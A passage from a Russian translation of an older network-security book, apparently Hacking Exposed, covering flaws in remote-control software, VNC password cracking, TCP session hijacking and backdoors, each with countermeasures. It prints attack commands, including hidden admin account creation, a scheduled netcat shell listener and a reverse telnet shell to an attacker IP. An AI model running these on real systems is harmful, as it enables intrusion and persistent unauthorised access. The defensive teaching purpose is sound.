обновления, позволяющий заделать эту брешь в программном обеспечении, был встроен в ядро версии 2.2.1. Практически ничего нельзя сделать для исправления ошибок в операционной системе и связанных с ней компонентах, таких как ядро, если их исходный код остается недоступным. Однако во многих свободно распространяемых версиях системы UNIX вполне возможно проверить исходный код и при необходимости внести изменения. |
Резюме Как вы убедились при чтении этой главы, существует много типов атак DoS, с использованием которых злоумышленники могут нарушить функционирование различных служб. Атаки, направленные на насыщение полосы пропускания, являются наиболее жестокими из-за их способности захвата трафика. Атаки с захватом ресурсов уже используются многие годы, и взломщики продолжают применять их с большим успехом. Бреши в программном обеспечении особенно популярны у взломщиков, поскольку сложность реализации стека протокола IP и связанных с ним программ постоянно повышается. И наконец, атаки DNS чрезвычайно эффективны при использовании унаследованных изъянов важнейших служб, являющихся фундаментом Internet. Фактически, некоторые эксперты по вопросам безопасности считают, что теоретически вполне возможно инициировать атаку DoS против самой сети internet, если через протокол BGP воспользоваться данными о маршрутах. Этот протокол интенсивно применяется большинством магистральных провайдеров. |
Глава 13. ИЗЪЯНЫ СРЕДСТВ УДАЛЕННОГО УПРАВЛЕНИЯ
|
Изъяны средств удаленного управления Неотъемлемой чертой глобальной единой экономики является то, что и управлять ею нужно глобально. Вспомогательный персонал не всегда может оказаться на месте, чтобы подойти к закапризничавшему компьютеру и устранить проблему. Какой же выход? Программное обеспечение удаленного управления. |
Обзор программ удаленного управления Каждая программа, предназначенная для работы в сети, ожидает установки соединений, открывая для этого определенные порты узла. Число и тип этих портов полностью определяется самой программой. Сканируя порты какого-то компьютера, можно определить все работающие на нем программы удаленного управления. Остается только удивляться, как много пользователей устанавливают такое программное обеспечение без соответствующих санкций и требуемой поддержки.
Как всегда, для одновременного сканирования нескольких сетей и обнаружения всех систем, от которых можно ждать неприятностей, мы рекомендуем использовать сценарий на языке Perl, который можно найти на Web-узле http://www.hackingexposed.com. |
Соединение Как только взломщик получит всю необходимую информацию о службах удаленного управления рабочих станций и серверов, скорее всего, он попытается получить к ним доступ. После установки с параметрами, используемыми по умолчанию, практически все приложения удаленного управления позволяют устанавливать соединение любому пользователю. Причем для этого не требуется указывать ни имя, ни пароль. (Взломщикам это нравится.) |
Изъяны программ удаленного управления Часто приходится слышать, что уровень защищенности узла определяется прочностью самого слабого звена. Однако по отношению к программному обеспечению удаленного управления дело обстоит несколько иначе. Если узел удалось взломать (см. главу 5), то злоумышленники смогут воспользоваться обнаруженными изъянами и позже подключиться вполне законным путем. Например, некоторые старые программные продукты не шифруют имена и пароли пользователей, что дает возможность взломщикам извлечь их из файлов, с экрана монитора, или, еще хуже, из сетевого трафика. Единственный способ убедиться в том, что программные продукты надежно защищены, заключается в проведении их тестирования.
Незашифрованные имена пользователей и пароли Программа Remotely Possible 4.0 компании Computer Associates не обеспечивает никакой защиты имен пользователей и паролей. Как видно из рис. 13.1, в файле \PROGRAM FILES\AVALAN\ REMOTELY POSSIBLE\MAIN.SAB. Эти данные хранятся в текстовом формате — все ключи от королевства в одном месте!
После обнаружения этого факта компания Computer Associates выпустила модуль обновления, обеспечивающий некоторый уровень шифрования конфиденциальной информации. Предполагалось, что этот модуль обновления вместе с новой версией программного продукта, ControlIT 4.5, позволит зашифровывать пароли, хранящиеся в файле VAIN . SAB. Весь вопрос в том, насколько надежной окажется такая защита. Пароли, шифруемые с помощью алгоритма подстановки Предполагалось, что в программе ControlIT 4.5 (новой версии программы Remotely Possible 4.0) будут устранены недостатки предыдущей версии, в которой имена пользователей и пароли хранились в виде незашифрованного текста. Однако вместо реализации надежного алгоритма шифрования компания применила простой алгоритм подстановки, который, кроме того, используется только для шифрования паролей. Например, пароль abcdabcd выглядит следующим образом. р | x d р | х d |
Раскрываемые пароли Программа Revelation компании SandBoy Software (http://www.sandboy.com) представляет собой одно из незаменимых средств. Единственный исполняемый файл размером 14 Кбайт позволяет получить хранящиеся в оперативной памяти пароли многих популярных программ удаленного управления. |
Загрузка профилей Как только взломщикам удастся проникнуть в систему NT и каким-нибудь способом получить административные привилегии, они смогут загрузить свои собственные профили (например, файлы . CIF или MAIN. SAB) и автоматически получить доступ к системе, пользуясь своим собственным паролем! Этой атаке подвержена как программа pcAnywhere, так и Remotely Possible 4.0. Для этого взломщику достаточно выполнить следующие действия. Контрмеры Для повышения защищенности и устранения перечисленных выше недостатков можно воспользоваться несколькими приемами. Выполнение следующих шагов позволит значительно повысить уровень безопасности установленного программного обеспечения. Использование паролей Хотя необходимость этой меры предосторожности очевидна и интуитивно понятна всем администраторам, имена пользователей и пароли на удаленных узлах применяются далеко не всегда. Производители программ тоже не всегда стремятся помочь в данной ситуации, надеясь на администраторов. Как видно из рис. 13.2, схема аутентификации, используемая в программе pcAnywhere по умолчанию, является весьма либеральной. Чтобы исправить эту ситуацию, просто установите режим Specify individual caller privileges.
Усиленные требования к паролям Некоторые приложения, такие как pcAnywhere, позволяют повысить требования к используемым паролям, например сделать их чувствительными к регистру. Чтобы активизировать этот режим, откройте диалоговое окно свойств сети (NETWORK properties). Затем перейдите во вкладку Security Options и установите флажок Make passwords case sensitive. Как видно из рис. 13.3, этот режим по умолчанию отключен. Альтернативная аутентификация Большинство приложений позволяет активизировать процедуру аутентификации в форме, отличной от принятой в системе NT. Однако по умолчанию этот режим обычно не активизирован. Несмотря на то, что при этом придется поддерживать два набора имен и паролей пользователей, такая возможность с успехом может расстроить планы взломщиков.
В программах Remotely Possible и ControlIT по умолчанию используются собственные механизмы аутентификации, тогда как в Timbuktu и ReachOut по умолчанию применяется аутентификация NT. При этом проблема состоит в том, что после успешного взлома злоумышленник сразу же получает пароли всех пользователей приложений удаленного управления. Дополнительные возможности использования паролей Программы Timbuktu и pcAnywhere предоставляют дополнительные возможности использования паролей, которыми следует пользоваться при любой возможности. Так, в pcAnywhere можно защитить паролем профили как исходящего, так и входящего соединения. Это не позволит кому-либо постороннему выведать пароль аутентификации, скрытый за звездочками. Установить пароль на доступ к профилям программы pcAnywhere (т.е. повысить уровень безопасности) можно в диалоговом окне NETWORK Properties во вкладке Protect Item, как показано на следующем рисунке.
Выход из системы после завершении сеанса связи Программы Remotely Possible/ControlIT, pcAnywhere и ReachOut можно настроить так, чтобы после окончания сеанса связи выполнялся также выход из системы. Такая возможность оказывается чрезвычайно важной, поскольку если администратор забудет выйти из системы после выполнения своей работы, кто-либо другой сможет воспользоваться его привилегиями. Кодирование сообщений во время сеанса связи В более ранних версиях многих программ удаленного управления можно было перехватить имена пользователей и пароли во время их передачи по сети или разгадать простые алгоритмы шифрования. Удостоверьтесь в том, что используется наивысший уровень шифрования, обеспечиваемый программным обеспечением. Наилучшим средством для проверки надежности алгоритмов шифрования является программа анализа сетевых пакетов SnifferPro от компании Network Associates (http://www. nai.com) Остается только удивляться, насколько слабыми оказываются алгоритмы шифрования, применяемые в некоторых программных продуктах. Ограничение числа попыток регистрации Большинство приложений позволяет ограничить количество попыток регистрации. В случае превышения заданного значения система будет заблокирована. Данная возможность хороша тем, что может отпугнуть взломщика, и он обратит свое внимание на менее защищенные системы. Даже если этого не произойдет, администратор сможет узнать об атаке и предпринять соответствующие меры. Мы рекомендуем ограничиться тремя неудачными попытками регистрации. Учет неудачных попыток регистрации Следует регистрировать как успешные, так и неудачные попытки регистрации. Для этого можно использовать либо журнал регистрации событий системы NT, либо соответствующие файлы самих приложений удаленного управления. Эта информация значительно облегчит обнаружение попыток взлома и выявление злоумышленников. Блокирование пользователей, которым не удалось зарегистрироваться Это одна из наиболее важных возможностей. Однако в большинстве приложений удаленного управления она отсутствует. ReachOut от компании Stac Electronics оказалась единственной из всех протестированных нами программ, в которой реализован так называемый режим IntmderGuard (защита от нарушителей). Для активизации этого важного режима выполните следующие действия. Изменение порта, прослушиваемого по умолчанию Многие не рассматривают изменение порта, используемого по умолчанию, как эффективную меру повышения безопасности, поскольку в ее основе лежит внутренне противоречивая парадигма "безопасность за счет сокрытия". Однако полученный нами практический опыт говорит о том, что применение подобных правил является достаточно эффективным. Другими словами, для обеспечения безопасности нужно предпринимать любые возможные меры. Пусть данная мера не позволит полностью защитить систему, но по крайней мере она может задержать дальнейшее продвижение взломщика, |
Какой пакет является наилучшим с точки зрения безопасности К сожалению, на поставленный вопрос ответить нелегко. Каждый программный продукт имеет свои преимущества и недостатки. Наилучший пакет должен сочетать в себе возможности различных программ. Обладая всеми другими современными возможностями, он, скорее всего, оказался бы слишком сложным. Далее приводится краткое описание основных средств удаленного управления, а также их сравнительная характеристика. |
pcAnywhere На современном рынке программа pcAnywhere компании Symantec (http://www.symantec.com) является одной из самых популярных. В значительной мере ее притягательность для потребителя определяется ее безопасностью. У всех приложений есть свои недостатки, но по сравнению с другими программными продуктами pcAnywhere обладает наиболее мощными средствами обеспечения безопасности. К другим возможностям относятся надежное шифрование паролей, механизм альтернативной аутентификации, установка паролей на файлы профилей и конфигурационных параметров, выход пользователя из системы после завершения сеанса связи, шифрование сетевого трафика, ограничение числа попыток регистрации, а также регистрация неудачных попыток. К сожалению, как и многие другие приложения, pcAnywhere не способна противостоять программе Revelation, предназначенной для получения пароля. Более подробную информацию по этому поводу можно найти в . разделе этой главы "Раскрываемые Пароли". |
ReachOut Программа ReachOut компании Stac Electronics (http://www.stac.com)— еще один добротный программный продукт, предназначенный для удаленного управления. Однако он предоставляет меньше возможностей для обеспечения безопасности. В этой программе отсутствуют средства реализации строгой политики выбора паролей, альтернативной аутентификации, а также защиты паролем файлов профилей и конфигурационных параметров. Однако не все упрощения программы ReachOut являются отрицательными. Она использует единственный порт TCP/UDP с номером 43188, что значительно ограничивает возможности взломщиков. |
Remotely Anywhere Remotely Anywhere (http://www.remotelyanywhere.com) является новичком среди программ данного класса, однако, несмотря на это, выглядит многообещающей. Этот программный продукт позволяет удаленно управлять рабочим столом, а по возможностям общего системного управления программа Remotely Anywhere выделяется среди других средств. Кроме обычных функций удаленного управления, с помощью Web-броузера она позволяет выполнять почти все административные функции, имеющиеся в системе NT.
|
Remotely Possible/ControllT ControlIT — известный и популярный продукт компании Computer Associates (http://www.cai.com). Однако эта программа предоставляет наиболее низкий уровень безопасности. Помимо того что в ее более ранних версиях использовались имена и пароли в виде незашифрованного текста, даже в последних версиях реализованы ненадежные алгоритмы шифрования, что делает пароли уязвимыми для злоумышленников. Производители не обеспечили поддержки строгой политики использования паролей, а также возможности установки пароля для доступа к файлам профилей и конфигурационных параметров. Кроме того, в программе отсутствуют средства аудита неудачных попыток регистрации и защита от применения программы Revelation. |
Timbuktu Приложение Timbuktu Pro 32 компании Netopia (http://www.netopia.com) — еще одно средство удаленного управления, широко применяемое в больших организациях. Эта программа предоставляет все стандартные инструменты удаленного управления, а также несколько дополнительных возможностей. Этот программный продукт позволяет совместно использовать экран нескольким пользователям одновременно, а также обладает такими надежными средствами защиты, как ограничение минимальной длины пароля, управление повторным использованием паролей, альтернативная аутентификация |
Virtual Network Computing (VNC) Программа Virtual Network Computing разработана в Англии, в лаборатории AT&T Research Labs Кембриджского университета. Ее можно найти по адресу https://www.comparitech.com/vpn/what-is-a-vnc-and-how-does-it-differ-from-a-vpn/. Программа обладает многими уникальными возможностями. Во-первых, ее можно использовать на многих платформах. Этот программный продукт можно устанавливать на компьютеры под управлением системы Windows, Linux и Solaris, а просматривать — в Windows, Linux, Solaris, Macintosh и даже с помощью Windows СЕ. Кроме того, эта программа имеет интерфейс на языке Java, что позволяет ее использовать через такие Java-совместимые броузеры, как Netscape Communicator и Microsoft Internet Explorer. Лучше всего то, что программа VNC является бесплатной!
Ниже каждая из этих атак будет рассмотрена более подробно. Прямой подбор паролей VNC
Основным механизмом защиты сервера VNC от несанкционированного доступа является пароль, выбранный системным администратором. В этой книге уже не раз отмечалось, что взлом проще всего осуществить, если используются ненадежные пароли. Поскольку серверу VNC зачастую предоставляются высокие привилегии, решительно настроенный взломщик, проявив определенное упорство, сможет подобрать пароль сервера VNC "в лоб", простым перебором. Для подбора паролей VNC можно воспользоваться дополнительной программой rfbproto.c , которую можно применить к клиентскому приложению vncviewer. С помощью команды patch программу rfbproto.c нужно применить к пакету vnc-3.3.3rl_unixsrc.tgz. В следующем примере демонстрируется, как легко подобрать пароль сервера VNC. [crush] # vncviewer 192.168.1.101 Модифицированный клиент vncviewer быстро перебрал предоставленный список паролей и отгадал пароль test. После этого программа vncviewer соединилась с удаленным сервером и взломщик получил полный контроль над системой. Подобный подбор паролей производится очень быстро, и сервер VNC никак не реагирует на неудачные попытки регистрации. Контрмеры: защита от подбора паролей VNС
При настройке сервера VNC важно выбрать надежный пароль. В нем должно содержаться не меньше восьми символов. Пароль не должен быть словом или производной от слова, найденного в словаре. Не забывайте о том, что пароль — это единственная преграда, стоящая между взломщиком и системой. Так что выбирайте его очень внимательно! Перехват сетевого трафика
Если пакет VNC установлен без каких бы то ни было модификаций, то после аутентификации шифрование потока сообщений между клиентом и сервером не выполняется. Не стоит надеяться на то, что если этот поток сообщений сжат, то его труднее перехватить, чем, скажем, в сеансе telnet. Поскольку файлы с исходным кодом VNC найти очень легко, то не составит особого труда и разработать специальный перехватчик сообщений VNC. Поэтому установка соединения с сервером VNC без применения шифрования сопряжена с большим риском. Хотя исходный пароль VNC передается с использованием механизма "вопрос/ответ", весь поток сообщений передается в незашифрованном виде. Вполне возможно, что взломщик сможет отследить передаваемые сообщения и перехватить пароли, вводимые пользователями при регистрации. Контрмеры: предотвращение перехвата сетевого трафика
К счастью, существуют различные механизмы, которые можно использовать для шифрования трафика VNC. Первым и основным из них является использование оболочки ssh, с помощью которой можно организовать защищенный канал между клиентом и сервером VNC. . Кроме того, к исходному коду пакета VNC можно применить дополнительные модули (http://web.mit.edu/thouis/vnc/), которые позволяют реализовать шифрование по открытому ключу. И наконец, для контроля каждого IP-адреса, с которого происходит доступ, можно использовать ТСР-оболочки (http://www.uk.research.att.com/vnc/archives/1998-09/0168.html). Ненадежный метод хранения паролей VNC
В октябре 1999 года Конд Вампиро (Conde Vampiro) сообщил о некоторых изъянах программы VNC (http://www.roses-labs.com/advisory/RLvncbug.txt). Самый серьезный недостаток связан с тем, как служба VNC хранит пароль сервера VNC (а именно в системном реестре Windows). Хотя пароль сервера VNC шифруется с помощью алгоритма 3DES, при этом пароль каждый раз сохраняется с использованием фиксированного ключа (23 82 107 6 35 78 88 7). Это еще один наглядный пример неумелого применения надежного алгоритма шифрования (3DES). Поскольку ключ известен, то можно без проблем расшифровать пароль любого сервера VNC. /*поместите в массив р[] хеш-код пароля*/ После этого можно скомпоновать исполняемый файл vndec, а затем запустить его. [shadow]# vncdec Как видно из примера, пароль сервера test без особых усилий можно перевести в незашифрованный текстовый формат. Контрмеры против ненадежного хранения паролей VNС
В последней версии программы, доступной во время написания данной книги, этот недостаток все еще не был устранен. Наилучшей зашитой от доступа взломщиков к системному реестру является использование средств обеспечения безопасности на уровне серверов. В главах 5 и 6 приведен исчерпывающий список мер предосторожности систем Windows NT и 2000. |
Citrix Клиентская программа ICA (Independent Computing Architecture) и программа MultiWin компании Citrix обеспечивают возможность реализации многопользовательской среды в Windows NT, являющейся однопользовательской операционной системой (конечно, терминальный сервер системы NT и Win 2000 с терминальными службами являются исключениями). Серверный продукт WinFrame и программа MetaFrame, предназначенная для использования вместе с NT Terminal Server, предосташшют то, что в мире UNIX имеется уже несколько десятков лет: многопользовательские возможности. |
Резюме Программное обеспечение удаленного управления существенно облегчает управление распределенными сетевыми узлами. Настроив эти программы надлежащим образом, администратор может облегчить свою жизнь, соединяясь с рабочими станциями пользователей и устраняя практически любую проблему. |
Глава 14. РАСШИРЕННЫЕ МЕТОДЫ
|
Расширенные методы В предыдущих главах уже были рассмотрены многие средства, используемые хакерами. Хотя мы и пытались систематизировать все стандартные инструменты, некоторые из них все же не укладываются в приведенную выше классификацию. В данной главе описываются несколько категорий таких средств, каждая в отдельном разделе: "Захват сеанса", "Потайные ходы", "Троянские кони" (троянский конь (Trojan horse) — это такая программа, которая под прикрытием некоторых полезных действий на самом деле скрытно выполняет совсем другие операции), "Разрушение системного окружения..." и "Социальная инженерия". |
Захват сеанса Сетевые устройства поддерживают весь корпоративный поток сообщений. Каждое сообщение электронной почты, каждый файл, каждый номер кредитной карточки клиента передается по сети и обрабатывается этими устройствами. Очевидно, что обеспечение их безопасности является первоочередной задачей. Поэтому никогда нельзя исключать возможности, что сетевой трафик будет перехвачен злоумышленником. Ниже вы узнаете, как это можно осуществить с помощью так называемого захвата соединения TCP (TCP hijacking). Juggernaut Одна из первых попыток применить на практике теорию захвата TCP была предпринята Майком Шиффманом (Mike Schiffman), в результате чего появился продукт Juggernaut (возможно, многие вспомнят Майка по его предыдущей программе. Появление этого бесплатного программного продукта оказалось революционным в том отношении, что с его помощью можно было "шпионить" за соединением TCP, а затем на некоторое время его захватывать. Это позволило взломщикам вводить команды в качестве легитимного пользователя. Например, если сетевые устройства используются в сети с множественным доступом, то взломщики могут отслеживать соединения, а затем перехватить сеанс telnet или ввести пароль для устройств Cisco. Juggernaut Одной из лучших возможностей программы Juggernaut является функция simplex connection hijack (захват симплексного соединения). Эта возможность позволяет взломщику посылать команды в локальную систему. Применение режима interactive connection hijack (захват интерактивного соединения) всегда было затруднено, поскольку из-за большого потока сообщений АСК связь часто прерывалась. Однако зачастую возможности захвата симплексного соединения оказывается вполне достаточно. Она позволяет взломщику отправить, например, команду enable password О hello, которая выполнится на удаленном узле и отменит шифрование пароля. Hunt Утилита Hunt (ее можно найти на Web-узле http://www.cri.cz/-kra/index.html#HUNT) — это еще одна программа перехвата, отличающаяся стабильностью работы. Ее автор, Павел Крауз (Pavel Krauz) создал замечательную программу, которая наглядно демонстрирует недостатки протокола TCP. --- Main Menu---rcvpkt 1498, free/alloc pkt 63/64 --- В процессе наблюдения за сеансом telnet в системе UNIX взломщик может получить ценную информацию, например (как видно из предыдущего примера) пароль пользователя root. Утилита Hunt предоставляет также возможность передачи команд на удаленный узел и их выполнения. Например, взломщик может передавать команды, а результат их выполнения будет отображаться только на его компьютере, что в значительной мере затрудняет его обнаружение. ---Main Menu--- rcvpkt 76, free/alloc pkt 63/64--- Как видно из приведенного примера, на удаленный узел может быть передана довольно коварная команда (cat /etc/passwd), а полученный результат отобразится лишь на компьютере взломщика. Контрмеры против захвата соединений Применение шифрующих коммуникационных протоколов, например IPSec или SSH, позволит значительно снизить или свести к нулю эффективность таких перехватов данных. Когда-то считалось, что технология сетей с коммутацией пакетов обеспечивает адекватную защиту от взломов подобного рода, но с тех пор средства сетевого мониторинга стали настолько хитроумными, что при определенных обстоятельствах они позволяют добиться желаемого результата (см. описание утилиты dsnif f в главе 8). Поэтому кодирование информации является самой лучшей защитой. |
"Потайные ходы" Если непрошеные гости обоснуются в системе, избавиться от них бывает трудно. Даже если брешь, которой они воспользовались, будет найдена и закрыта, злоумышленники могут обеспечить специальный механизм и быстро получить доступ в любое время. Такой механизм называется потайным ходом (back door). Создание фиктивных учетных записей Почти каждому системному администратору известно, что учетные записи с правами суперпользователя — это такие ресурсы, которые легко защищать и контролировать. А вот учетные записи, равные по привилегиям суперпользователю, но имеющие неприметные имена, отследить намного труднее. Злоумышленник обязательно попытается создать такие учетные записи. NT/2000 В Windows NT/2000 привилегированные локальные учетные записи легко создать с помощью следующих команд. net user <имя_пользователя><пароль>/ADD С помощью команды net group можно добавить пользователя в глобальную группу. Вспомните, что в системе NT есть отличие между локальной (содержащейся только в локальной базе данных SAM) и глобальной (из доменной базы данных SAM) группами. Встроенные локачьные группы обычно предоставляют более широкие возможности, поскольку с их помощью можно предоставлять различный уровень доступа к системным ресурсам. В операционную систему Win 2000 добавлены новые универсальные группы и локальные группы домена. По сути, эти понятия являются метадоменными, так как они могут быть членами любого домена, принадлежащего дереву или лесу. C:\>net group "Enterprise Admins" В первую очередь нужно просмотреть встроенные группы: Administrators, Domain Admins, Enterprise Admins и Schema Admins (на контроллерах домена), а также различные локальные группы операторов. UNIX В системе UNIX фиктивные учетные записи создаются и идентифицируются аналогичным образом. Как правило создаются безобидные учетные записи с нулевыми значениями идентификаторов UID и GID. Следует проверить также учетные записи с таким же идентификатором GID, что и у пользователя root, а затем проверить совпадение свойств групп в файле /etc/groups. Кроме того, такие учетные записи легко выявить по содержимому файла /etc/passwd. Novell В системе NetWare типичным является создание "осиротевших" объектов, т.е. создание, например, контейнера с одним пользователем, а затем передача этому новому пользователю прав опекунства над родительским контейнером. Если взломщик имеет возможность постоянно регистрироваться в дереве NDS, то эту ситуацию не сможет исправить даже администратор. Более подробную информацию о "потайных ходах" системы NetWare можно найти в главе 7. Загрузочные файлы В предыдущих главах много говорилось о "потайных ходах", которые создаются с помощью механизмов загрузки, поддерживаемых различными платформами. Такой способ стал излюбленным методом злоумышленников, поскольку он позволяет устанавливать ловушки, которые активизируются при каждом перезапуске системы неосмотрительными пользователями. NT/2000 В операционной системе Windows NT в первую очередь нужно проверить различные папки, находящиеся в папке Startup: %systemroot%\profiles\%username%\ start menu\programs\startup (папка All Users будет использоваться независимо от того, кто из пользователей зарегистрировался интерактивно). Кроме того, для запуска программ типа "троянский конь" или для установки "потайного хода" при каждом запуске системы взломщики могут воспользоваться параметрами системного реестра. Нужно проверить следующие параметры
В этих параметрах хранятся данные многих из потенциально опасных программ. Например, программа Back Orifice 2000 (ВО2К; см. ниже) устанавливается как служба удаленного администрирования (Remote Administrator Service) в параметре RunServices. Использование броузера Web для загрузки кода Появление в мае 2000 года сценария ILOVEYOU, написанного на языке Visual Basic, послужило свидетельством того, что есть и другие способы запуска исполняемого кода: это установка начальной страницы, загружаемой при запуске Web-броузера. http://www.skynet.net/-[переменная]/ Данный адрес URL содержался в параметре системного реестра HKSU\Software\ Microsoft\Internet Explorer\Main\-Start Page. Этот сценарий изменял также несколько параметров системного реестра, включая тот, который запускает загруженные двоичные файлы при перезагрузке системы (предполагалось, что к нему был указан путь), и тот, который удаляет первоначальную страницу запуска.
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX Конечно, в зависимости от степени доверчивости следующего пользователя, запускающего броузер, для выполнения этого файла перезагрузка может и не понадобиться. Последние версии Internet Explorer перед пересылкой определенных типов файлов, таких как исполняемые файлы . ЕХЕ и . СОМ, по умолчанию выводят на экран окно подтверждения. В зависимости от ответа пользователя на вопрос в диалоговом окне, показанном на рис. 14.1, данный файл может быть запущен сразу после начала работы Web-броузера. Контрмера: не запускайте исполняемые файлы, найденные в Internet! Должно быть понятно и без слов (хотя на протяжении многих лет это повторяется много раз): нужно быть предельно осторожным по отношению к исполняемым файлам, загружаемым из Internet. Запуск файлов с удаленного сервера — это путь, ведущий прямо к катастрофе. Вместо этого лучше загрузить их на свой компьютер локально, проверить на наличие вирусов, по возможности проанализировать содержимое (например, файлов сценариев или командных файлов), а затем протестировать их на какой-нибудь второстепенной системе. UNIX В системе UNIX взломщики часто помещают программы, предназначенные для создания "потайного хода", в файлы rc.d. Следует проверить каждый из таких файлов и убедиться, что в них не содержится ни одной незнакомой программы или такой, которая была бы недавно добавлена. Для внедрения ловушек может быть использован также файл inetd.conf. В этом файле находятся параметры демона inetd, суперсервера Internet системы UNIX, который при необходимости динамически запускает различные процессы, такие как FTP, telnet, finger и т.д. В этом файле также можно обнаружить подозрительные демоны. Novell Файлы startup.ncf и autexec.ncf системы NetWare позволяют определить, какие программы, параметры и загружаемые модули системы NetWare (NLM — NetWare Loadable Module) будут запущены при загрузке сервера. Взломщики могут отредактировать один или несколько файлов . NCF, которые вызываются из этих загрузочных файлов (например, файл Idremote.ncf) и, таким образом, создать "потайной ход", например запустить хакерскую программу rconsole. Поэтому периодически проверяйте каждый загрузочный файл, чтобы не упустить момент создания взломщиками "потайного хода". Запланированные задания Например, в системе Windows NT простой "потайной ход" можно реализовать, установив утилиту netcat, которая будет ежедневно запускаться в назначенное время. C:\>at\\192.168.202/44 12:ООА /every:! С помощью этой команды каждый день в полдень будет инициироваться новая программа прослушивания порта 8080. Злоумышленник сможет без проблем подключиться к целевому компьютеру с помощью утилиты netcat и получить в свое распоряжение командную оболочку, периодически удаляя ранее запущенные экземпляры netcat. Кроме того, можно воспользоваться также командным файлом, чтобы сначала проверить, запущена ли утилита netcat, а затем при необходимости осуществить ее запуск. ср /bin/csh /tmp/evilsh
Контрмеры: защита от запланированных заданий Для того чтобы предотвратить эту атаку в системе NT, с использованием команды at проверьте список заданий на предмет наличия в нем несанкционированных заданий. С:\> at Затем с помощью следующей команды завершите подозрительные процессы с идентификатором 0. Удаленное управление Вполне возможна ситуация, когда взломщик не сможет вернуться на целевой компьютер, даже обладая необходимыми регистрационными данными. Это может произойти, если некоторые служебные процессы сервера не выводят приглашения на регистрацию. Например, мало пользы от пароля root, если на взламываемом сервере отключены г-службы или telnet. Точно так же в системе Windows NT администратор по умолчанию получает очень ограниченные возможности удаленного управления. Поэтому первоочередная цель взломщика состоит в обеспечении механизмов повторного доступа. netcat В этой книге ранее уже упоминался "швейцарский армейский нож", утилита netcat (ее версии как для системы NT, так и для UNIX можно найти по адресу http.//www. 10pht.com/~weld/netcat/index.html). С помощью этой программы можно незаметно прослушивать нужный порт, выполняя заранее определенные действия после установки удаленного соединения с системой. Утилита netcat окажется чрезвычайно мощным средством удаленного управления, если эти действия будут направлены на запуск командной оболочки. Затем злоумышленники могут подключиться с помощью netcat к заданному порту и получить в свое распоряжение командную оболочку. Команды запуска netcat в режиме прослушивания обычно скрытно помещаются в какой-нибудь загрузочный файл (см. предыдущий раздел), поэтому эта программа прослушивания портов будет активизироваться при каждой перезагрузке системы. Пример такого "потайного хода" показан на рис. 14.2, на котором виден параметр системного реестра Windows NT, приводящий к запуску утилиты netcat в процессе загрузки системы. Сообразительные взломщики обязательно замаскируют своего "троянского коня" netcat. Для этого можно дать программе какое-нибудь нейтральное имя, например ddedll32.exe, или такое, что администратор дважды подумает, прежде чем удалит такой файл. Параметр -L утилиты netcat дает возможность возобновить работу при многократном нарушении связи; при использовании ~d программа netcat запускается в скрытом режиме (без интерактивной консоли); а -е позволяет задать запускаемую программу, в данном случае командный интерпретатор NT cmd.exe. Параметр -р определяет прослушиваемый порт (в данном примере 8080). Версию программы netcat для системы UNIX можно легко настроить так. чтобы запускалась командная оболочка /bin/sh, что приведет к тому же результату. После этого взломщику останется только соединиться с портом, который прослушивается утилитой netcat, и получить в свое распоряжение удаленную командную оболочку.
remote.exe (NT) Утилиту remote из набора NTRK можно запустить в качестве сервера, чтобы командная строка возвращалась любому аутентифииированному пользователю NT, который подключился с помощью соответствующего удаленного клиента. Эту программу очень просто установить (нужно просто скопировать файл remote.exe в системный каталог, например %systemroot%). Поэтому зачастую ее использование предшествует последующей установке более опасных программ, таких как графические утилиты удаленного управления или программы-регистраторы нажатия клавиш. Более подробно утилита remote.exe описана в главе 5. loki Программы loki и lokid, кратко рассмотренные в главе 11. предоставляют взломщикам простой механизм повторного получения доступа к взломанной системе, даже если она расположена позади брандмауэра. Оригинальность этих программ заключается в том, что клиент (loki) помещает команды взломщика (в основном это пакеты IP) в заголовки ICMP или UDP и отсылает их серверу (lokid), который выполняет их и возвращает результаты. Поскольку многие брандмауэры допускают прохождение на сервер пакетов ICMP и UDP, то инициированный взломщиком трафик зачастую без проблем проходит через брандмауэр. Сервер lokid запускается с помощью следующей команды. Back Orifice и NetBus Хотя оба этих средства по своей природе являются графическими (NetBus даже предоставляет некоторые возможности по управлению рабочим столом), они главным образом удаленно вызывают функции программного интерфейса API. Так что лучше их расценивать их как инструменты создания "потайных ходов", предназначенные для выполнения удаленных команд, а не как графические утилиты удаленного управления. Возможности каждой из этих утилит описаны в главах 4 и 5. Здесь же мы лишь еще раз перечислим те места, в которых взломщики могут скрытно размещать эти средства, чтобы администраторам было легче их разыскать. Контрмеры: защита против Back Orifice (и других программ) Попытки использования Back Orifice (а также служб FTP, telnet, SMTP, HTTP и т.д.) легко обнаружить, используя бесплатную утилиту фирмы Network Flight Recorder, которая называется BackOfficer Friendly (http://www.nfr.net/products/bof/). Эта программа с графическим интерфейсом работает в режиме прослушивания портов и сообщает обо всех попытках соединения с системой. Ее самой замечательной особенностью является режим Fake Replies (ложные ответы). При его использовании программа будет отвечать на telnet-запросы и записывать имена и пароли, с помощью которых взломщики пытаются получить доступ. Как видно из следующего рисунка, программа выполняет большую работу по отслеживанию попыток проникновения в систему. Если известен пароль, то программу ВО2К можно легко удалить на удаленном компьютере. Для этого с помощью клиентского приложения нужно соединиться с сервером, в диалоговом окне раскрыть папку Server Control и выбрать команду Shutdown Server с параметром DELETE. Перенаправление портов: реверсивный ceaнc telnet, netcat, datapipe, rinetd и fpipe В предыдущих разделах некоторые команды удаленного управления, основанные на использовании командного процессора, описывались в контексте прямых соединений. Теперь рассмотрим ситуацию, когда прямому вмешательству в систему что-то препятствует, например прямой доступ блокируется брандмауэром. Изобретательные взломщики могут обойти эти препятствия с помощью перенаправления портов (port redirection). Реверсивный сеанс telnet Один из любимых взломщиками "потайных ходов" во взломанную систему может быть реализован с помощью демона telnet, входящего в комплект поставки многих версий UNIX. Так что эту программу даже не потребуется загружать. Мы называем этот способ реверсивный сеанс telnet, потому что в процессе его реализации утилита telnet используется для соединения с находящейся в режиме прослушивания утилитой netcat, запущенной на компьютере взломщика. Затем требуемые команды направляются на целевой узел, а результаты их выполнения — обратно. С:\> nc -w -1 -р 80 Затем на целевом узле следует использовать следующую команду UNIX, sleep 10000 | telnet 172.29.11.191 80 | В результате входные данные с порта 25 с помощью конвейера будут переданы локальной командной оболочке (которая выполнит полученные команды), а результаты снова через конвейер будут перенаправлены обратно, на порт 80 компьютера взломщика. Порты из предыдущего примера (80 и 25) используются стандартными службами (HTTP и SMTP соответственно). Поэтому обычно следующий через них поток сообщений свободно проходит через брандмауэр на многие внутренние узлы.
